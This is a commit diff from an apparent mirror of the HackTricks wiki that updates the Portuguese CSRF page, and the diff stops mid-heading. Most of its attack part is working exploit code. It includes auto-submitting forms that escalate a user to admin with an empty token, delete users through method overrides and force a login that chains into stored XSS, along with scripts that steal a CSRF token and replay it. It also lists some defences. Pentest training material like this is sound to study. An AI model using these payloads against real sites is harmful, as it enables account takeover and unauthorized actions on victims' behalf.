mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
parent
ddbaaf03c2
commit
ed88fa77b3
@ -487,6 +487,7 @@
|
|||||||
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||||
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||||
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||||
|
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
|
||||||
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||||
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||||
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||||
|
@ -4,49 +4,56 @@
|
|||||||
|
|
||||||
## Cross-Site Request Forgery (CSRF) Explained
|
## Cross-Site Request Forgery (CSRF) Explained
|
||||||
|
|
||||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima por meio de métodos como executar JavaScript, submeter formulários ou carregar imagens.
|
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Permite que atacantes realizem ações em nome de usuários desprevenidos explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima através de métodos como execução de JavaScript, submissão de forms ou carregamento de imagens.
|
||||||
|
|
||||||
### Prerequisites for a CSRF Attack
|
### Prerequisites for a CSRF Attack
|
||||||
|
|
||||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||||
|
|
||||||
1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, o email ou elevar privilégios.
|
1. **Identify a Valuable Action**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, email ou elevar privilégios.
|
||||||
2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente através de cookies ou do HTTP Basic Authentication header, pois outros headers não podem ser manipulados para esse propósito.
|
2. **Session Management**: A sessão do usuário deve ser gerida exclusivamente por cookies ou pelo cabeçalho HTTP Basic Authentication, já que outros cabeçalhos não podem ser manipulados para esse propósito.
|
||||||
3. **Absence of Unpredictable Parameters**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
3. **Absence of Unpredictable Parameters**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||||
|
|
||||||
### Quick Check
|
### Quick Check
|
||||||
|
|
||||||
Você pode **capturar a requisição no Burp** e checar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
|
Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e, para testar a partir do navegador, você pode clicar em **Copy as fetch** e verificar a requisição:
|
||||||
|
|
||||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Defending Against CSRF
|
### Defending Against CSRF
|
||||||
|
|
||||||
Diversas contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
|
||||||
|
|
||||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o navegador envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Esse atributo impede que o browser envie cookies junto com requisições cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||||
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer leitura da resposta do site da vítima. [Learn about CORS bypass](cors-bypass.md).
|
- [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer ler a resposta do site vítima. [Learn about CORS bypass](cors-bypass.md).
|
||||||
- **Verificação do usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
- **User Verification**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
|
||||||
- **Verificar os cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições vêm de fontes confiáveis. Entretanto, a construção cuidadosa de URLs pode contornar verificações mal implementadas, por exemplo:
|
- **Checking Referrer or Origin Headers**: Validar esses cabeçalhos pode ajudar a garantir que as requisições venham de fontes confiáveis. Entretanto, craftings cuidadosos de URLs podem contornar checagens mal implementadas, tais como:
|
||||||
- Usando `http://mal.net?orig=http://example.com` (a URL termina com a URL confiável)
|
- Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||||
- Usando `http://example.com.mal.net` (a URL começa com a URL confiável)
|
- Usar `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||||
- **Modificar nomes de parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
- **Modifying Parameter Names**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||||
- **CSRF Tokens**: Incorporar um CSRF token único em cada sessão e exigir esse token nas requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada aplicando CORS.
|
- **CSRF Tokens**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A efetividade do token pode ser aumentada aplicando CORS.
|
||||||
|
|
||||||
Entender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
|
Entender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.
|
||||||
|
|
||||||
|
#### Common pitfalls of defenses
|
||||||
|
|
||||||
|
- SameSite pitfalls: `SameSite=Lax` ainda permite navegações top-level cross-site como links e form GETs, então muitos CSRFs baseados em GET permanecem possíveis. Veja a matriz de cookies em [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
|
||||||
|
- Header checks: Valide `Origin` quando presente; se ambos `Origin` e `Referer` estiverem ausentes, falhe fechado. Não confie em correspondências por substring/regex de `Referer` que podem ser contornadas com domínios parecidos ou URLs craftadas, e note o truque de supressão `meta name="referrer" content="never"`.
|
||||||
|
- Method overrides: Trate métodos sobrescritos (`_method` ou override headers) como alteração de estado e aplique CSRF no método efetivo, não apenas no POST.
|
||||||
|
- Login flows: Aplique proteções CSRF também ao login; caso contrário, login CSRF permite reautenticação forçada em contas controladas pelo atacante, que pode ser encadeada com stored XSS.
|
||||||
|
|
||||||
## Defences Bypass
|
## Defences Bypass
|
||||||
|
|
||||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||||
|
|
||||||
Algumas aplicações aplicam validação CSRF apenas em POST enquanto a ignoram para outros verbs. Um anti-pattern comum em PHP se parece com:
|
Algumas aplicações só aplicam validação CSRF no POST enquanto a pulam para outros verbs. Um anti-pattern comum em PHP se parece com:
|
||||||
```php
|
```php
|
||||||
public function csrf_check($fatal = true) {
|
public function csrf_check($fatal = true) {
|
||||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||||
// ... validate __csrf_token here ...
|
// ... validate __csrf_token here ...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação POST-only em uma ação GET que tem sucesso sem um token.
|
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação que deveria ser apenas POST em uma ação GET que tem sucesso sem um token.
|
||||||
|
|
||||||
Exemplo:
|
Exemplo:
|
||||||
|
|
||||||
@ -65,48 +72,88 @@ __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerr
|
|||||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||||
```
|
```
|
||||||
|
|
||||||
Notas:
|
Notes:
|
||||||
- Esse padrão aparece frequentemente junto com reflected XSS quando as respostas são servidas incorretamente como text/html em vez de application/json.
|
- Esse padrão aparece frequentemente junto com reflected XSS quando respostas são servidas incorretamente como text/html em vez de application/json.
|
||||||
- Combinar isso com XSS reduz muito as barreiras de exploração porque você pode entregar um único link GET que tanto aciona o caminho de código vulnerável quanto evita completamente as checagens CSRF.
|
- Combiná-lo com XSS reduz muito as barreiras de exploração porque você pode entregar um único GET link que tanto dispara o caminho de código vulnerável quanto evita completamente as verificações CSRF.
|
||||||
|
|
||||||
### Falta de token
|
### Falta de token
|
||||||
|
|
||||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Um atacante pode explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e conduzir um Cross-Site Request Forgery (CSRF) de forma eficaz.
|
Aplicações podem implementar um mecanismo para **validar tokens** quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for totalmente ignorada quando o token está ausente. Atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e realizar um Cross-Site Request Forgery (CSRF) com eficácia.
|
||||||
|
|
||||||
### CSRF token is not tied to the user session
|
Além disso, algumas implementações apenas verificam que o parâmetro existe mas não validam seu conteúdo, então um **valor de token vazio é aceito**. Nesse caso, simplesmente enviar a requisição com `csrf=` é suficiente:
|
||||||
|
```http
|
||||||
|
POST /admin/users/role HTTP/2
|
||||||
|
Host: example.com
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
Aplicações que **não vinculam tokens CSRF às sessões dos usuários** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra uma **pool global** em vez de garantir que cada token esteja ligado à sessão que o originou.
|
username=guest&role=admin&csrf=
|
||||||
|
```
|
||||||
|
PoC mínimo de auto-submissão (ocultando a navegação com history.pushState):
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://example.com/admin/users/role" method="POST">
|
||||||
|
<input type="hidden" name="username" value="guest" />
|
||||||
|
<input type="hidden" name="role" value="admin" />
|
||||||
|
<input type="hidden" name="csrf" value="" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
### CSRF token não está vinculado à sessão do usuário
|
||||||
|
|
||||||
Veja como atacantes exploram isso:
|
Aplicações **que não vinculam CSRF tokens às sessões do usuário** representam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja ligado à sessão que o iniciou.
|
||||||
|
|
||||||
1. **Autenticar** usando sua própria conta.
|
Eis como atacantes exploram isso:
|
||||||
2. **Obter um token CSRF válido** da pool global.
|
|
||||||
3. **Usar esse token** em um ataque CSRF contra a vítima.
|
|
||||||
|
|
||||||
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo inadequado de validação de tokens** da aplicação.
|
1. **Autenticar-se** usando a própria conta.
|
||||||
|
2. **Obter um CSRF token válido** do pool global.
|
||||||
|
3. **Usar esse token** em um ataque CSRF contra uma vítima.
|
||||||
|
|
||||||
### Method bypass
|
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||||
|
|
||||||
Se a requisição estiver usando um **método "estranho"**, verifique se a **funcionalidade de override de método** está funcionando. Por exemplo, se estiver **usando um PUT** você pode tentar **usar um POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
### Bypass de método
|
||||||
|
|
||||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **headers**:
|
Se a requisição estiver usando um **método "estranho"**, verifique se a funcionalidade de **method override** está funcionando. Por exemplo, se estiver usando um método **PUT/DELETE/PATCH** você pode tentar usar **POST** e enviar um override, ex.: `https://example.com/my/dear/api/val/num?_method=PUT`.
|
||||||
|
|
||||||
- _X-HTTP-Method_
|
Isso também pode funcionar enviando o **parâmetro `_method` dentro do corpo de um POST** ou usando cabeçalhos de override:
|
||||||
- _X-HTTP-Method-Override_
|
|
||||||
- _X-Method-Override_
|
|
||||||
|
|
||||||
|
- `X-HTTP-Method`
|
||||||
|
- `X-HTTP-Method-Override`
|
||||||
|
- `X-Method-Override`
|
||||||
|
|
||||||
|
Comum em frameworks como **Laravel**, **Symfony**, **Express** e outros. Desenvolvedores às vezes pulam CSRF em verbos não-POST assumindo que navegadores não podem emiti-los; com overrides, você ainda pode alcançar esses handlers via POST.
|
||||||
|
|
||||||
|
Exemplo de requisição e PoC HTML:
|
||||||
|
```http
|
||||||
|
POST /users/delete HTTP/1.1
|
||||||
|
Host: example.com
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
username=admin&_method=DELETE
|
||||||
|
```
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form method="POST" action="/users/delete">
|
||||||
|
<input name="username" value="admin">
|
||||||
|
<input type="hidden" name="_method" value="DELETE">
|
||||||
|
<button type="submit">Delete User</button>
|
||||||
|
</form>
|
||||||
|
```
|
||||||
### Custom header token bypass
|
### Custom header token bypass
|
||||||
|
|
||||||
Se a requisição estiver adicionando um **header customizado** com um **token** como **método de proteção CSRF**, então:
|
Se a requisição estiver adicionando um **custom header** com um **token** na solicitação como **CSRF protection method**, então:
|
||||||
|
|
||||||
- Teste a requisição sem o **Token Customizado e também sem o header.**
|
- Teste a requisição sem o **Customized Token and also header.**
|
||||||
- Teste a requisição com um token diferente, de **mesmo comprimento**.
|
- Teste a requisição com exatamente **same length but different token**.
|
||||||
|
|
||||||
### CSRF token is verified by a cookie
|
### CSRF token is verified by a cookie
|
||||||
|
|
||||||
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um parâmetro de requisição, ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições checando se o token no parâmetro da requisição coincide com o valor do cookie.
|
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um request parameter, ou definindo um CSRF cookie e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida as requisições verificando se o token no request parameter corresponde ao valor no cookie.
|
||||||
|
|
||||||
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida de iniciar o ataque CSRF.
|
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um CSRF cookie no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida do início do ataque CSRF.
|
||||||
|
|
||||||
Abaixo está um exemplo de como um ataque pode ser estruturado:
|
Abaixo está um exemplo de como um ataque pode ser estruturado:
|
||||||
```html
|
```html
|
||||||
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
|
|||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Observe que se o **csrf token estiver relacionado com a session cookie este ataque não funcionará** porque você precisará definir para a vítima a sua session, e portanto estará atacando a si mesmo.
|
> Note que se o **csrf token estiver relacionado com o session cookie este ataque não funcionará** porque você terá que definir a sessão da vítima para a sua, e portanto estará atacando a si mesmo.
|
||||||
|
|
||||||
### Alteração do Content-Type
|
### Alteração do Content-Type
|
||||||
|
|
||||||
De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **avoid preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos:
|
De acordo com [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar preflight** requisições usando o método **POST** estes são os valores de Content-Type permitidos:
|
||||||
|
|
||||||
- **`application/x-www-form-urlencoded`**
|
- **`application/x-www-form-urlencoded`**
|
||||||
- **`multipart/form-data`**
|
- **`multipart/form-data`**
|
||||||
- **`text/plain`**
|
- **`text/plain`**
|
||||||
|
|
||||||
No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** usado então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
No entanto, note que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado então você deve testar os valores mencionados e outros like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||||
|
|
||||||
Exemplo (de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain:
|
Exemplo (a partir de [here](https://brycec.me/posts/corctf_2021_challenges)) de enviar dados JSON como text/plain:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
@ -166,19 +213,19 @@ form.submit()
|
|||||||
|
|
||||||
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
|
||||||
|
|
||||||
1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
1. **Use Alternative Content Types**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no form. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
|
||||||
2. **Modify Content Type**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`.
|
2. **Modify Content Type**: Para evitar uma requisição preflight ao mesmo tempo que garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isto não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitar `application/json`.
|
||||||
3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar essas restrições. Para um entendimento mais aprofundado dessa técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
3. **SWF Flash File Utilization**: Um método menos comum, mas viável, envolve usar um arquivo SWF/Flash para contornar tais restrições. Para um entendimento aprofundado desta técnica, consulte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||||
|
|
||||||
### Contorno da verificação Referrer / Origin
|
### Contorno da verificação de Referrer / Origin
|
||||||
|
|
||||||
**Evitar o cabeçalho Referrer**
|
**Evitar o cabeçalho Referrer**
|
||||||
|
|
||||||
Aplicações podem validar o 'Referer' header apenas quando ele está presente. Para impedir que o navegador envie esse header, a seguinte meta tag HTML pode ser usada:
|
Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para impedir que o navegador envie esse cabeçalho, a seguinte meta tag HTML pode ser usada:
|
||||||
```xml
|
```xml
|
||||||
<meta name="referrer" content="never">
|
<meta name="referrer" content="never">
|
||||||
```
|
```
|
||||||
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
Isto garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
||||||
|
|
||||||
**Regexp bypasses**
|
**Regexp bypasses**
|
||||||
|
|
||||||
@ -187,7 +234,7 @@ Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando
|
|||||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Para definir o nome de domínio do servidor no URL que o Referrer vai enviar dentro dos parâmetros você pode fazer:
|
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||||
@ -216,17 +263,52 @@ document.forms[0].submit()
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### **Bypass do método HEAD**
|
### **HEAD method bypass**
|
||||||
|
|
||||||
A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router, está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lide com requisições HEAD, elas são simplesmente entregues ao manipulador GET, mas a aplicação apenas remove o corpo da resposta.
|
A primeira parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), um router está configurado para **handle HEAD requests as GET requests** sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um handler específico que trata HEAD reqs, elas são simplesmente **given to the GET handler but the app just removes the response body**.
|
||||||
|
|
||||||
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**.
|
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **send a HEAD request that will be processed as a GET request**.
|
||||||
|
|
||||||
## **Exemplos de Exploração**
|
## **Exploit Examples**
|
||||||
|
|
||||||
### **Exfiltrando token CSRF**
|
### Stored CSRF via user-generated HTML
|
||||||
|
|
||||||
Se um **CSRF token** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
Quando editores rich-text ou injeção de HTML são permitidos, você pode persistir um fetch passivo que aciona um endpoint GET vulnerável. Qualquer usuário que visualizar o conteúdo realizará automaticamente a requisição com seus cookies.
|
||||||
|
|
||||||
|
- Se a app usa um global CSRF token que não está vinculado à sessão do usuário, o mesmo token pode funcionar para todos os usuários, tornando stored CSRF confiável entre vítimas.
|
||||||
|
|
||||||
|
Minimal example that changes the viewer’s email when loaded:
|
||||||
|
```html
|
||||||
|
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
|
||||||
|
```
|
||||||
|
### Login CSRF encadeado com stored XSS
|
||||||
|
|
||||||
|
Login CSRF por si só pode ter baixo impacto, mas encadeá-lo com um stored XSS executado em contexto autenticado torna-se poderoso: forçar a vítima a autenticar-se em uma conta controlada pelo atacante; uma vez nesse contexto, um stored XSS em uma página autenticada é executado e pode roubar tokens, hijack the session, ou escalar privilégios.
|
||||||
|
|
||||||
|
- Certifique-se de que o login endpoint seja CSRF-able (sem per-session token ou origin check) e que não existam user interaction gates que o bloqueiem.
|
||||||
|
- Após o login forçado, navegue automaticamente até uma página que contenha o payload de stored XSS do atacante.
|
||||||
|
|
||||||
|
Minimal login-CSRF PoC:
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://example.com/login" method="POST">
|
||||||
|
<input type="hidden" name="username" value="attacker@example.com" />
|
||||||
|
<input type="hidden" name="password" value="StrongPass123!" />
|
||||||
|
<input type="submit" value="Login" />
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
history.pushState('', '', '/');
|
||||||
|
document.forms[0].submit();
|
||||||
|
// Optionally redirect to a page with stored XSS in the attacker account
|
||||||
|
// location = 'https://example.com/app/inbox';
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
### **Exfiltrando CSRF Token**
|
||||||
|
|
||||||
|
Se um **CSRF token** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou de uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||||
|
|
||||||
### **GET usando tags HTML**
|
### **GET usando tags HTML**
|
||||||
```xml
|
```xml
|
||||||
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### Requisição POST de formulário através de iframe
|
### Requisição POST de Form através de iframe
|
||||||
```html
|
```html
|
||||||
<!--
|
<!--
|
||||||
The request is sent through the iframe withuot reloading the page
|
The request is sent through the iframe withuot reloading the page
|
||||||
@ -361,7 +443,7 @@ data: "param=value¶m2=value2",
|
|||||||
})
|
})
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Requisição POST multipart/form-data
|
### requisição POST multipart/form-data
|
||||||
```javascript
|
```javascript
|
||||||
myFormData = new FormData()
|
myFormData = new FormData()
|
||||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||||
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
|||||||
mode: "no-cors",
|
mode: "no-cors",
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
### multipart/form-data POST requisição v2
|
### requisição POST multipart/form-data v2
|
||||||
```javascript
|
```javascript
|
||||||
// https://www.exploit-db.com/exploits/20009
|
// https://www.exploit-db.com/exploits/20009
|
||||||
var fileSize = fileData.length,
|
var fileSize = fileData.length,
|
||||||
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
|
|||||||
//xhr.send(body);
|
//xhr.send(body);
|
||||||
xhr.sendAsBinary(body)
|
xhr.sendAsBinary(body)
|
||||||
```
|
```
|
||||||
### Requisição POST de formulário dentro de um iframe
|
### Requisição POST de um formulário dentro de um iframe
|
||||||
```html
|
```html
|
||||||
<--! expl.html -->
|
<--! expl.html -->
|
||||||
|
|
||||||
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
|
|||||||
</body>
|
</body>
|
||||||
</body>
|
</body>
|
||||||
```
|
```
|
||||||
### **Roubar CSRF Token e enviar uma requisição POST**
|
### **Roubar CSRF Token e enviar um POST request**
|
||||||
```javascript
|
```javascript
|
||||||
function submitFormWithTokenJS(token) {
|
function submitFormWithTokenJS(token) {
|
||||||
var xhr = new XMLHttpRequest()
|
var xhr = new XMLHttpRequest()
|
||||||
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
|||||||
var POST_URL = "http://google.com?param=VALUE"
|
var POST_URL = "http://google.com?param=VALUE"
|
||||||
getTokenJS()
|
getTokenJS()
|
||||||
```
|
```
|
||||||
### **Roubar CSRF Token e enviar uma requisição Post usando um iframe, um form e Ajax**
|
### **Roubar o CSRF Token e enviar uma requisição POST usando um iframe, um form e Ajax**
|
||||||
```html
|
```html
|
||||||
<form
|
<form
|
||||||
id="form1"
|
id="form1"
|
||||||
@ -501,7 +583,7 @@ style="display:none"
|
|||||||
src="http://google.com?param=VALUE"
|
src="http://google.com?param=VALUE"
|
||||||
onload="javascript:f1();"></iframe>
|
onload="javascript:f1();"></iframe>
|
||||||
```
|
```
|
||||||
### **Roubar CSRF Token e enviar uma POST request usando um iframe e um form**
|
